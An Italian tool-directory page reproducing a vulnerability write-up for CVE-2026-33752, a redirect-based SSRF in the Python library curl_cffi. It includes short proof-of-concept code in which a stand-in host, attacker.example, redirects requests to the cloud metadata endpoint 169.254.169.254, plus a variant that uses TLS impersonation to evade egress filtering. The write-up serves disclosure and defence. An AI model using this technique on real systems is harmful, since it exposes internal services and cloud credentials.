Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
Strumenti/GitHubGitHub/redyank/cve-2026-33752
Analisi delle VulnerabilitàExploitRaccolta InformazioniSicurezza WebPenetration Testing
GitHubredyank/cve-2026-33752

CVE-2026-33752

Dimostra una vulnerabilità SSRF basata su reindirizzamento in curl_cffi che consente l'accesso alla rete interna, con codice PoC e analisi del bypass dell'impersonificazione TLS.

Vedi Repository
14 mesi faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

CVE-2026-33752

CVE-2026-33752 (SSRF basato su reindirizzamento che porta all'accesso alla rete interna in curl_cffi)

Riepilogo

curl_cffi non limita le richieste agli intervalli IP interni e segue automaticamente i reindirizzamenti tramite la libreria libcurl sottostante.

Per questo motivo, un URL controllato da un attaccante può reindirizzare le richieste verso servizi interni come gli endpoint di metadati cloud. Inoltre, la funzionalità di impersonificazione TLS di curl_cffi può far apparire queste richieste come traffico legittimo di un browser, il che potrebbe aggirare alcuni controlli di rete.

Dettagli

Il problema deriva da come curl_cffi gestisce le richieste in uscita

  • Gli URL forniti dall'utente vengono passati direttamente a libcurl senza verificare se risolvono verso intervalli IP interni (ad es., 127.0.0.1, 169.254.0.0/16).
  • I reindirizzamenti vengono seguiti automaticamente (CURLOPT_FOLLOWLOCATION = 1) all'interno di libcurl.
  • Non esiste alcuna validazione delle destinazioni di reindirizzamento a livello Python.

Ciò significa che, anche se un'applicazione consente solo richieste verso URL esterni, un attaccante può

  • Fornire un URL che punta a un server controllato dall'attaccante
  • Restituire una risposta di reindirizzamento che punta a un servizio interno
  • Far seguire automaticamente quel reindirizzamento a curl_cffi

Di conseguenza, gli endpoint interni (come le API di metadati delle istanze cloud) possono essere accessibili.

Inoltre, curl_cffi supporta l'impersonificazione dell'impronta TLS (ad es., impersonate="chrome"). In ambienti in cui le richieste in uscita vengono filtrate in base all'impronta TLS, ciò può rendere tali richieste più difficili da rilevare o bloccare.

Questo comportamento è simile a problemi SSRF basati su reindirizzamento precedentemente segnalati come CVE-2025-68616, in cui i reindirizzamenti consentivano l'accesso a risorse interne non intenzionali.

PoC

  1. Richiesta interna diretta
root@kitploit:~
import curl_cffi
resp = curl_cffi.get("http://169.254.169.254/latest/meta-data/")
print(resp.text)
  1. Reindirizzamento verso un servizio interno Server dell'attaccante:
root@kitploit:~
GET /test
→ 302 Location: http://169.254.169.254/latest/meta-data/

Codice della vittima:

root@kitploit:~
import curl_cffi
resp = curl_cffi.get("https://attacker.example/test")
print(resp.text)

Risultato

  • La richiesta iniziale va al server dell'attaccante
  • Viene restituito il reindirizzamento
  • libcurl segue automaticamente il reindirizzamento
  • Viene acceduto all'endpoint di metadati interno
  1. Con impersonificazione TLS
root@kitploit:~
import curl_cffi\
resp = curl_cffi.get(
    "https://attacker.example/test",
    impersonate="chrome")

In alcuni ambienti, ciò può aiutare la richiesta ad aggirare i controlli di filtraggio basati su TLS.

Impatto

Un attaccante che può controllare l'URL richiesto potrebbe essere in grado di:

  • Accedere ai servizi di rete interni
  • Raggiungere gli endpoint di metadati cloud e recuperare informazioni sensibili
  • Aggirare alcuni meccanismi di filtraggio in uscita (a seconda dell'ambiente) Ciò corrisponde a CWE-918 Server-Side Request Forgery.
Scarica lo strumento